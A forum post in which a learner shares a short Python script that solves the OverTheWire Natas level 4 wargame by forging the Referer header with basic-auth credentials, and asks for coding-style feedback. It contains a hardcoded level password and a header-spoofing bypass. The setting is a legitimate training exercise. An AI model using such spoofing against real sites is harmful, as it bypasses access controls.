I've just recently started running some wargames (Natas, OverTheWire) and thought I'd implement some of my scripting experience to solve them instead of doing it manually (though I did that first). I've got this script: import requests from requests.auth import HTTPBasicAuth def exploit(host, credentials): print(host) try: r = requests.get(host, auth=HTTPBasicAuth(credentials[0], credentials[1]), headers={'referer': 'http://natas5.natas.labs.overthewire.org/'} ) print([line for line in r.content.decode('ascii').split('\n') \ if 'natas5' in line][0]) except Exception as e: print(e) def main(): host = 'http://natas4.natas.labs.overthewire.org' credentials = ('natas4', 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ') exploit(host, credentials) if __name__ == '__main__': main() I was hoping that I could get some general feedback on it. I know it's a really basic script, but I'd really want to know if I'm following the right coding conventions and if there are ways of making a bit *better*. I've rarely used the `requests` library, so I'm still fairly new to it.